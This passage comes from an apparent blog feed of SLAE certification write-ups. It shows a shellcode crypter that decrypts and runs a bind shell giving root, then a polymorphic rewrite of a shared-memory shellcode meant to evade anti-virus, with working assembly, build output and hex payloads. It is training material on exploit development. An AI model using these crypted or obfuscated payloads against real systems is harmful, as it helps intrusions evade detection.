</span><span class='line'> <span class="n">CRYPTER_SSLERR</span><span class="p">();</span>
</span><span class='line'>
</span><span class='line'> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">void</span><span class="p">))</span> <span class="n">b</span><span class="p">)();</span> <span class="cm">/* Execute decrypted shellcode. */</span>
</span><span class='line'> <span class="k">return</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="cm">/* NOTREACHED */</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>
<p>Executing the crypter yields the following output. Like with the previous exercises, the shellcode to execute can be tweaked by the <strong>SHELLCODE</strong> variable:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>make crypter <span class="nv">SHELLCODE</span><span class="o">=</span>../0x01-bind/bind
</span><span class='line'>Generating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners
</span><span class='line'><span class="se">\x</span>eb<span class="se">\x</span>97<span class="se">\x</span>33<span class="se">\x</span>b0<span class="se">\x</span>f6<span class="se">\x</span>5a<span class="se">\x</span>73<span class="se">\x</span>32<span class="se">\x</span>31<span class="se">\x</span>34<span class="se">\x</span>c8<span class="se">\x</span>00<span class="se">\x</span>63<span class="se">\x</span>34<span class="se">\x</span>98<span class="se">\x</span>8e<span class="se">\x</span>47<span class="se">\x</span>2d<span class="se">\x</span>dc<span class="se">\x</span>6f<span class="se">\x</span>c4<span class="se">\x</span>1f<span class="se">\x</span>83<span class="se">\x</span>81<span class="se">\x</span>f9<span class="se">\x</span>04<span class="se">\x</span>1b<span class="se">\x</span>c9<span class="se">\x</span>96<span class="se">\x</span>86<span class="se">\x</span>6f<span class="se">\x</span>e2
</span><span class='line'><span class="se">\x</span>cb<span class="se">\x</span>1a<span class="se">\x</span>5c<span class="se">\x</span>61<span class="se">\x</span>70<span class="se">\x</span>5e<span class="se">\x</span>82<span class="se">\x</span>09<span class="se">\x</span>59<span class="se">\x</span>4f<span class="se">\x</span>e6<span class="se">\x</span>42<span class="se">\x</span>1a<span class="se">\x</span>62<span class="se">\x</span>b9<span class="se">\x</span>a6<span class="se">\x</span>43<span class="se">\x</span>09<span class="se">\x</span>df<span class="se">\x</span>99<span class="se">\x</span>33<span class="se">\x</span>22<span class="se">\x</span>f4<span class="se">\x</span>fa<span class="se">\x</span>41<span class="se">\x</span>a5<span class="se">\x</span>27<span class="se">\x</span>6a<span class="se">\x</span>e7<span class="se">\x</span>fc<span class="se">\x</span>76<span class="se">\x</span>6a<span class="se">\x</span>86<span class="se">\x</span>5e<span class="se">\x</span>a2<span class="se">\x</span>8b<span class="se">\x</span>f3<span class="se">\x</span>3f<span class="se">\x</span>5c<span class="se">\x</span>90<span class="se">\x</span>e9<span class="se">\x</span>eb<span class="se">\x</span>38<span class="se">\x</span>4a<span class="se">\x</span>0f<span class="se">\x</span>30<span class="se">\x</span>db<span class="se">\x</span>20<span class="se">\x</span>4a<span class="se">\x</span>8f<span class="se">\x</span>cd<span class="se">\x</span>8a<span class="se">\x</span>a2<span class="se">\x</span>53<span class="se">\x</span>af<span class="se">\x</span>c4<span class="se">\x</span>03<span class="se">\x</span>1b<span class="se">\x</span>e8<span class="se">\x</span>f5<span class="se">\x</span>9e<span class="se">\x</span>e4<span class="se">\x</span>ed<span class="se">\x</span>a6<span class="se">\x</span>43<span class="se">\x</span>c5<span class="se">\x</span>92<span class="se">\x</span>dd<span class="se">\x</span>b9<span class="se">\x</span>20<span class="se">\x</span>0d<span class="se">\x</span>1a<span class="se">\x</span>b0<span class="se">\x</span>95<span class="se">\x</span>e7<span class="se">\x</span>33<span class="se">\x</span>d0<span class="se">\x</span>44<span class="se">\x</span>1b<span class="se">\x</span>05<span class="se">\x</span>47<span class="se">\x</span>1c<span class="se">\x</span>59<span class="se">\x</span>3f<span class="se">\x</span>99<span class="se">\x</span>e1<span class="se">\x</span>d2<span class="se">\x</span>74<span class="se">\x</span>62<span class="se">\x</span>6d<span class="se">\x</span>2b<span class="se">\x</span>85<span class="se">\x</span>55<span class="se">\x</span>e2
</span></code></pre></td></tr></table></div></figure>
<p>The <strong>decrypter</strong> target already takes care of executing the crypter with the specified shellcode and extracting it from the above output:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>make decrypter
</span><span class='line'>cc -W -Wall -Wformat<span class="o">=</span><span class="m">2</span> -fno-stack-protector -zexecstack -ggdb -DSHELLCODE<span class="o">=</span><span class="sb">`</span>./crypter<span class="p">|</span>tail -n1<span class="sb">`</span> -c -o decrypter.o decrypter.c
</span><span class='line'>cc -lcrypto -lcurl -zexecstack decrypter.o common.o -o decrypter
</span><span class='line'><span class="c"># ./decrypter</span>
</span><span class='line'>Generating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners
</span><span class='line'><span class="nv">$ </span>ss -nlt<span class="p">|</span>grep 4242
</span><span class='line'>LISTEN <span class="m">0</span> <span class="m">0</span> *:4242 *:*
</span><span class='line'><span class="nv">$ </span>nc 127.0.0.1 4242
</span><span class='line'>id
</span><span class='line'><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
</span></code></pre></td></tr></table></div></figure>
<p>Printing the contents of the decrypted buffer shows that the shellcode payload was correctly decrypted and is not gibberish unlike the original provided one:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="o">(</span>gdb<span class="o">)</span> b 36
</span><span class='line'>Breakpoint <span class="m">1</span> at 0xb22: file decrypter.c, line 36.
</span><span class='line'><span class="o">(</span>gdb<span class="o">)</span> r
</span><span class='line'>Starting program: /attic/slae/exam/0x07-crypter/decrypter
</span><span class='line'><span class="o">[</span>Thread debugging using libthread_db enabled<span class="o">]</span>
</span><span class='line'>Using host libthread_db library <span class="s2">"/lib/i386-linux-gnu/libthread_db.so.1"</span>.
</span><span class='line'><span class="o">[</span>New Thread 0xb7a9bb40 <span class="o">(</span>LWP 1008<span class="o">)]</span>
</span><span class='line'><span class="o">[</span>Thread 0xb7a9bb40 <span class="o">(</span>LWP 1008<span class="o">)</span> exited<span class="o">]</span>
</span><span class='line'>Generating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners
</span><span class='line'>
</span><span class='line'>Thread <span class="m">1</span> <span class="s2">"decrypter"</span> hit Breakpoint 1, main <span class="o">()</span> at decrypter.c:36
</span><span class='line'><span class="m">36</span> <span class="o">(</span>*<span class="o">(</span>void<span class="o">(</span>*<span class="o">)(</span>void<span class="o">))</span> b<span class="o">)()</span><span class="p">;</span> /* Execute decrypted shellcode. */
</span><span class='line'><span class="o">(</span>gdb<span class="o">)</span> x/10i b
</span><span class='line'> 0xbfffd648: xor eax,eax
</span><span class='line'> 0xbfffd64a: xor esi,esi
</span><span class='line'> 0xbfffd64c: cdq
</span><span class='line'> 0xbfffd64d: mov ax,0x167
</span><span class='line'> 0xbfffd651: push 0x2
</span><span class='line'> 0xbfffd653: pop ebx
</span><span class='line'> 0xbfffd654: push 0x1
</span><span class='line'> 0xbfffd656: pop ecx
</span><span class='line'> 0xbfffd657: int 0x80
</span><span class='line'> 0xbfffd659: xchg ebx,eax
</span><span class='line'><span class="o">(</span>gdb<span class="o">)</span> x/10i ptr
</span><span class='line'> 0x40308c <shellcode+12>: sti
</span><span class='line'> 0x40308d <shellcode+13>: outs dx,BYTE PTR ds:<span class="o">[</span>esi<span class="o">]</span>
</span><span class='line'> 0x40308e <shellcode+14>: sar dh,0xcc
</span><span class='line'> 0x403091 <shellcode+17>: and cl,BYTE PTR <span class="o">[</span>edi+eiz*8+0x36aa830f<span class="o">]</span>
</span><span class='line'> 0x403098 <shellcode+24>: outs dx,BYTE PTR ds:<span class="o">[</span>esi<span class="o">]</span>
</span><span class='line'> 0x403099 <shellcode+25>: fmul QWORD PTR <span class="o">[</span>edx-0x6c<span class="o">]</span>
</span><span class='line'> 0x40309c <shellcode+28>: cmp al,0xb5
</span><span class='line'> 0x40309e <shellcode+30>: xchg BYTE PTR <span class="o">[</span>eax-0x58bfcbc1<span class="o">]</span>,dh
</span><span class='line'> 0x4030a4 <shellcode+36>: or ah,dl
</span><span class='line'> 0x4030a6 <shellcode+38>: sub ecx,esi
</span></code></pre></td></tr></table></div></figure>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[SLAE 0x06: Polymorphic Shellcodes]]></title>
<link href="http://tcunha.github.io/blog/2018/07/28/slae-0x06-polymorphic-shellcodes/"/>
<updated>2018-07-28T08:20:29+00:00</updated>
<id>http://tcunha.github.io/blog/2018/07/28/slae-0x06-polymorphic-shellcodes</id>
<content type="html"><![CDATA[<pre><code>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
</code></pre>
<p>The sixth exercise consisted of choosing 3 linux/x86 shellcodes from <a href="http://shell-storm.org/shellcode/">shell-storm.org</a> and polymorphically alter them. The resulting shellcode should have at the most 150% the size of the original one.</p>
<p>This technique is useful for bypassing anti-virus engines where common operations are fingerprinted and blacklisted. By modifying a shellcode with semantically equivalent instructions, the shellcode will be harder to detect.</p>
<h3>1. Shared memory exec (369)</h3>
<p><a href="http://shell-storm.org/shellcode/files/shellcode-369.php">This</a> shellcode consists of attaching to a shared memory region and executing the in memory shellcode. It’s initial size is <strong>50 bytes</strong>, therefore its polymorphic code must be <strong>75 bytes</strong> maximum, according to the requirements.</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
</pre></td><td class='code'><pre><code class='asm'><span class='line'><span class="nf">global</span> <span class="no">_start</span>
</span><span class='line'>
</span><span class='line'><span class="nf">section</span> <span class="no">.text</span>
</span><span class='line'><span class="nl">_start:</span>
</span><span class='line'> <span class="nf">xor</span> <span class="no">edi</span><span class="p">,</span> <span class="no">edi</span>
</span><span class='line'> <span class="nf">xor</span> <span class="no">esi</span><span class="p">,</span> <span class="no">esi</span>
</span><span class='line'> <span class="nf">xor</span> <span class="no">edx</span><span class="p">,</span> <span class="no">edx</span>
</span><span class='line'>
</span><span class='line'> <span class="nf">mov</span> <span class="no">ecx</span><span class="p">,</span> <span class="mi">0xdeadbeef</span> <span class="err">;</span> <span class="no">key</span>
</span><span class='line'> <span class="nf">xor</span> <span class="no">ebx</span><span class="p">,</span> <span class="no">ebx</span>
</span><span class='line'> <span class="nf">mov</span> <span class="no">bl</span><span class="p">,</span> <span class="mi">0x17</span> <span class="err">;</span> <span class="no">shmget</span>
</span><span class='line'> <span class="err">;</span> <span class="nf">edx</span> <span class="no">is</span> <span class="no">already</span> <span class="no">zero</span> <span class="no">from</span> <span class="no">the</span> <span class="no">above</span>
</span><span class='line'> <span class="err">;</span> <span class="nf">esi</span> <span class="no">is</span> <span class="no">already</span> <span class="no">zero</span> <span class="no">frm</span> <span class="no">the</span> <span class="no">above</span>
</span><span class='line'> <span class="nf">xor</span> <span class="no">eax</span><span class="p">,</span> <span class="no">eax</span>
</span><span class='line'> <span class="nf">mov</span> <span class="no">al</span><span class="p">,</span> <span class="mi">0x75</span>
</span><span class='line'> <span class="err">;</span> <span class="nf">int</span> <span class="no">ipc</span><span class="p">(</span><span class="no">unsigned</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">void</span> <span class="p">*,</span> <span class="no">long</span><span class="p">)</span>
</span><span class='line'> <span class="nf">int</span> <span class="mi">0x80</span>
</span><span class='line'>
</span><span class='line'> <span class="nf">xor</span> <span class="no">edi</span><span class="p">,</span> <span class="no">edi</span>
</span><span class='line'> <span class="nf">mov</span> <span class="no">esi</span><span class="p">,</span> <span class="mi">0xbffffffa</span> <span class="err">;</span> <span class="no">address</span>
</span><span class='line'> <span class="nf">xor</span> <span class="no">edx</span><span class="p">,</span> <span class="no">edx</span>
</span><span class='line'> <span class="nf">mov</span> <span class="no">ecx</span><span class="p">,</span> <span class="no">eax</span> <span class="err">;</span> <span class="no">move</span> <span class="no">shm</span> <span class="no">id</span> <span class="no">returned</span> <span class="no">by</span> <span class="no">the</span> <span class="no">shmget</span> <span class="no">above</span>
</span><span class='line'> <span class="nf">xor</span> <span class="no">ebx</span><span class="p">,</span> <span class="no">ebx</span>
</span><span class='line'> <span class="nf">mov</span> <span class="no">bl</span><span class="p">,</span> <span class="mi">0x15</span> <span class="err">;</span> <span class="no">shmat</span>
</span><span class='line'> <span class="nf">xor</span> <span class="no">eax</span><span class="p">,</span> <span class="no">eax</span>
</span><span class='line'> <span class="nf">mov</span> <span class="no">al</span><span class="p">,</span> <span class="mi">0x75</span>
</span><span class='line'> <span class="err">;</span> <span class="nf">int</span> <span class="no">ipc</span><span class="p">(</span><span class="no">unsigned</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">void</span> <span class="p">*,</span> <span class="no">long</span><span class="p">)</span>
</span><span class='line'> <span class="nf">int</span> <span class="mi">0x80</span>
</span><span class='line'>
</span><span class='line'> <span class="err">;</span> <span class="nf">push</span> <span class="no">logical</span> <span class="no">address</span> <span class="no">to</span> <span class="no">the</span> <span class="no">stack</span> <span class="no">and</span> <span class="no">jump</span> <span class="no">to</span> <span class="no">it</span> <span class="no">after</span> <span class="no">the</span> <span class="no">ret</span>
</span><span class='line'> <span class="nf">mov</span> <span class="no">eax</span><span class="p">,</span> <span class="mi">0xbffffffa</span>
</span><span class='line'> <span class="nf">push</span> <span class="no">dword</span> <span class="err">[</span><span class="no">eax</span><span class="err">]</span>
</span><span class='line'> <span class="nf">ret</span>
</span></code></pre></td></tr></table></div></figure>
<p>The above original shellcode will obtain the identifier associated with the provided shared memory key, attach to it and jump to the in memory executable code, if any.</p>
<p>This is using the <a href="http://man7.org/linux/man-pages/man2/ipc.2.html">ipc(2)</a> system call, where like <a href="http://man7.org/linux/man-pages/man2/socketcall.2.html">socketcall(2)</a>, its first argument is the IPC function to invoke. However, unlike the socket system calls which are now exported on x86, the IPC ones aren’t.</p>
<p>Its <a href="https://github.com/torvalds/linux/blob/716a685fdb89942a50c4138141027e38336a895f/ipc/syscall.c#L81">fourth parameter</a> (third in the prototype) is a user-provided logical address pointer where the contents of the shared memory can be accessed.</p>
<figure class='code'><figcaption><span>ipc(2) prototype</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="kt">int</span> <span class="nf">ipc</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">call</span><span class="p">,</span> <span class="kt">int</span> <span class="n">first</span><span class="p">,</span> <span class="kt">int</span> <span class="n">second</span><span class="p">,</span> <span class="kt">int</span> <span class="n">third</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">ptr</span><span class="p">,</span> <span class="kt">long</span> <span class="n">fifth</span><span class="p">);</span>
</span></code></pre></td></tr></table></div></figure>
<figure class='code'><figcaption><span>retrieving the system call number and constants</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>asm-syscall ipc
</span><span class='line'><span class="c">#define __NR_ipc 117</span>
</span><span class='line'>0x75
</span><span class='line'><span class="nv">$ </span>grep SHM /usr/include/linux/ipc.h
</span><span class='line'><span class="c">#define SHMAT 21</span>
</span><span class='line'><span class="c">#define SHMDT 22</span>
</span><span class='line'><span class="c">#define SHMGET 23</span>
</span><span class='line'><span class="c">#define SHMCTL 24</span>
</span></code></pre></td></tr></table></div></figure>
<p>The registers for the two <a href="http://man7.org/linux/man-pages/man2/ipc.2.html">ipc(2)</a> system calls will, then, have the following respective values:</p>
<pre><code>+----------+---------------+
| register | value |
+----------+---------------+
| eax | 117 |
| ebx | 23 | <== shmget(2)
| ecx | 0xdeafbeef |
| edx | 0 | <== size is specified by the creator
| esi | 0 | <== so are the flags
| edi | 0 |
| ebp | 0 |
+----------+---------------+
| return | id |
+----------+---------------+
+----------+---------------+
| register | value |
+----------+---------------+
| eax | 117 |
| ebx | 21 | <== shmat(2)
| ecx | shmget(2) id |
| edx | 0 | <== flags
| esi | address |
| edi | 0 |
| ebp | 0 |
+----------+---------------+
</code></pre>
<p>Initially, couldn’t get it to work due to the hard-coded shared memory logical address. Substituting it with the current logical address of the stack allows to correctly read the contents off the shared memory.</p>
<p>The below polymorphic shellcode also gets the shared memory key by negating its initial value and performing logic and mathematical operations on the registers and is 11 bytes smaller than the original:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
</pre></td><td class='code'><pre><code class='asm'><span class='line'><span class="nf">global</span> <span class="no">_start</span>
</span><span class='line'>
</span><span class='line'><span class="nf">section</span> <span class="no">.text</span>
</span><span class='line'><span class="nl">_start:</span>
</span><span class='line'> <span class="nf">xor</span> <span class="no">eax</span><span class="p">,</span> <span class="no">eax</span>
</span><span class='line'> <span class="nf">cdq</span> <span class="err">;</span> <span class="no">make</span> <span class="no">edx</span> <span class="no">zero</span><span class="p">,</span> <span class="no">as</span> <span class="no">well</span>
</span><span class='line'>
</span><span class='line'> <span class="err">;</span> <span class="nf">ipc</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="no">has</span> <span class="no">a</span> <span class="no">bunch</span> <span class="no">of</span> <span class="no">parameters</span><span class="p">,</span> <span class="no">zero</span> <span class="no">them</span> <span class="no">all</span>
</span><span class='line'> <span class="nf">lea</span> <span class="no">ebx</span><span class="p">,</span> <span class="err">[</span><span class="no">eax</span><span class="err">]</span>
</span><span class='line'> <span class="nf">and</span> <span class="no">esi</span><span class="p">,</span> <span class="no">ebx</span>
</span><span class='line'> <span class="nf">sub</span> <span class="no">edi</span><span class="p">,</span> <span class="no">edi</span>
</span><span class='line'> <span class="nf">xor</span> <span class="no">ebp</span><span class="p">,</span> <span class="no">ebp</span>
</span><span class='line'>
</span><span class='line'> <span class="nf">mov</span> <span class="no">ecx</span><span class="p">,</span> <span class="mi">0x35014542</span> <span class="err">;</span> <span class="no">key</span> <span class="no">in</span> <span class="no">two</span><span class="err">'</span><span class="no">s</span> <span class="no">complement</span>
</span><span class='line'> <span class="nf">neg</span> <span class="no">ecx</span> <span class="err">;</span> <span class="no">key</span>
</span><span class='line'> <span class="nf">add</span> <span class="no">bl</span><span class="p">,</span> <span class="mi">0x17</span> <span class="err">;</span> <span class="no">shmget</span> <span class="p">(</span><span class="no">ebx</span> <span class="no">is</span> <span class="no">already</span> <span class="no">zero</span><span class="p">)</span>
</span><span class='line'> <span class="err">;</span> <span class="nf">edx</span><span class="p">,</span> <span class="no">esi</span> <span class="no">and</span> <span class="no">ebp</span> <span class="no">are</span> <span class="no">already</span> <span class="no">zero</span> <span class="no">from</span> <span class="no">the</span> <span class="no">above</span>
</span><span class='line'> <span class="nf">or</span> <span class="no">al</span><span class="p">,</span> <span class="mi">0x75</span> <span class="err">;</span> <span class="no">eax</span> <span class="no">is</span> <span class="no">already</span> <span class="no">zero</span>
</span><span class='line'> <span class="err">;</span> <span class="nf">int</span> <span class="no">ipc</span><span class="p">(</span><span class="no">unsigned</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">void</span> <span class="p">*,</span> <span class="no">long</span><span class="p">)</span>
</span><span class='line'> <span class="nf">int</span> <span class="mi">0x80</span>
</span><span class='line'>
</span><span class='line'> <span class="nf">mov</span> <span class="no">esi</span><span class="p">,</span> <span class="no">esp</span> <span class="err">;</span> <span class="no">use</span> <span class="no">stack</span> <span class="no">logical</span> <span class="no">address</span>
</span><span class='line'> <span class="nf">mov</span> <span class="no">ecx</span><span class="p">,</span> <span class="no">eax</span> <span class="err">;</span> <span class="no">move</span> <span class="no">shm</span> <span class="no">id</span> <span class="no">returned</span> <span class="no">by</span> <span class="no">the</span> <span class="no">shmget</span> <span class="no">above</span>
</span><span class='line'> <span class="nf">dec</span> <span class="no">ebx</span>
</span><span class='line'> <span class="nf">dec</span> <span class="no">ebx</span> <span class="err">;</span> <span class="no">shmat</span> <span class="p">(</span><span class="mi">0x2</span> <span class="no">less</span> <span class="no">than</span> <span class="no">shmget</span><span class="p">)</span>
</span><span class='line'> <span class="err">;</span> <span class="nf">edx</span><span class="p">,</span> <span class="no">esi</span> <span class="no">and</span> <span class="no">ebp</span> <span class="no">are</span> <span class="no">already</span> <span class="no">zero</span> <span class="no">from</span> <span class="no">the</span> <span class="no">above</span>
</span><span class='line'> <span class="nf">and</span> <span class="no">eax</span><span class="p">,</span> <span class="no">ebp</span> <span class="err">;</span> <span class="no">make</span> <span class="no">it</span> <span class="no">zero</span>
</span><span class='line'> <span class="nf">add</span> <span class="no">al</span><span class="p">,</span> <span class="mi">0x75</span>
</span><span class='line'> <span class="err">;</span> <span class="nf">int</span> <span class="no">ipc</span><span class="p">(</span><span class="no">unsigned</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">int</span><span class="p">,</span> <span class="no">void</span> <span class="p">*,</span> <span class="no">long</span><span class="p">)</span>
</span><span class='line'> <span class="nf">int</span> <span class="mi">0x80</span>
</span><span class='line'>
</span><span class='line'> <span class="nf">jmp</span> <span class="err">[</span><span class="no">esi</span><span class="err">]</span> <span class="err">;</span> <span class="no">finally</span> <span class="no">jump</span> <span class="no">to</span> <span class="no">the</span> <span class="no">second</span> <span class="no">stage</span> <span class="no">shellcode</span>
</span></code></pre></td></tr></table></div></figure>
<p>Just like with the egghunter exercise, a custom second stage shellcode can be specified via the <strong>STAGE2</strong> variable, which will be copied to the shared memory region:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>make <span class="nv">PROG</span><span class="o">=</span><span class="m">369</span> <span class="nv">STAGE2</span><span class="o">=</span>../0x01-bind/bind
</span><span class='line'>nasm -f elf32 -o 369.o 369.asm
</span><span class='line'>ld -N -zexecstack -o <span class="m">369</span> 369.o
</span><span class='line'><span class="m">08048080</span> <_start>:
</span><span class='line'> 8048080: <span class="m">31</span> c0 xor eax,eax
</span><span class='line'> 8048082: <span class="m">99</span> cdq
</span><span class='line'> 8048083: 8d <span class="m">18</span> lea ebx,<span class="o">[</span>eax<span class="o">]</span>
</span><span class='line'> 8048085: <span class="m">21</span> de and esi,ebx
</span><span class='line'> 8048087: <span class="m">29</span> ff sub edi,edi
</span><span class='line'> 8048089: <span class="m">31</span> ed xor ebp,ebp
</span><span class='line'> 804808b: b9 <span class="m">42</span> <span class="m">45</span> <span class="m">01</span> <span class="m">35</span> mov ecx,0x35014542
</span><span class='line'> 8048090: f7 d9 neg ecx
</span><span class='line'> 8048092: <span class="m">80</span> c3 <span class="m">17</span> add bl,0x17
</span><span class='line'> 8048095: 0c <span class="m">75</span> or al,0x75
</span><span class='line'> 8048097: <span class="nb">cd </span><span class="m">80</span> int 0x80
</span><span class='line'> 8048099: <span class="m">89</span> e6 mov esi,esp
</span><span class='line'> 804809b: <span class="m">89</span> c1 mov ecx,eax
</span><span class='line'> 804809d: 4b dec ebx
</span><span class='line'> 804809e: 4b dec ebx
</span><span class='line'> 804809f: <span class="m">21</span> e8 and eax,ebp
</span><span class='line'> 80480a1: <span class="m">04</span> <span class="m">75</span> add al,0x75
</span><span class='line'> 80480a3: <span class="nb">cd </span><span class="m">80</span> int 0x80
</span><span class='line'> 80480a5: ff <span class="m">26</span> jmp DWORD PTR <span class="o">[</span>esi<span class="o">]</span>
</span><span class='line'>Shellcode size: 39
</span><span class='line'><span class="se">\x</span>31<span class="se">\x</span>c0<span class="se">\x</span>99<span class="se">\x</span>8d<span class="se">\x</span>18<span class="se">\x</span>21<span class="se">\x</span>de<span class="se">\x</span>29<span class="se">\x</span>ff<span class="se">\x</span>31<span class="se">\x</span>ed<span class="se">\x</span>b9<span class="se">\x</span>42<span class="se">\x</span>45<span class="se">\x</span>01<span class="se">\x</span>35<span class="se">\x</span>f7<span class="se">\x</span>d9<span class="se">\x</span>80<span class="se">\x</span>c3<span class="se">\x</span>17<span class="se">\x</span>0c<span class="se">\x</span>75<span class="se">\x</span>cd<span class="se">\x</span>80<span class="se">\x</span>89<span class="se">\x</span>e6<span class="se">\x</span>89<span class="se">\x</span>c1<span class="se">\x</span>4b<span class="se">\x</span>4b<span class="se">\x</span>21<span class="se">\x</span>e8<span class="se">\x</span>04<span class="se">\x</span>75<span class="se">\x</span>cd<span class="se">\x</span>80<span class="se">\x</span>ff<span class="se">\x</span>26
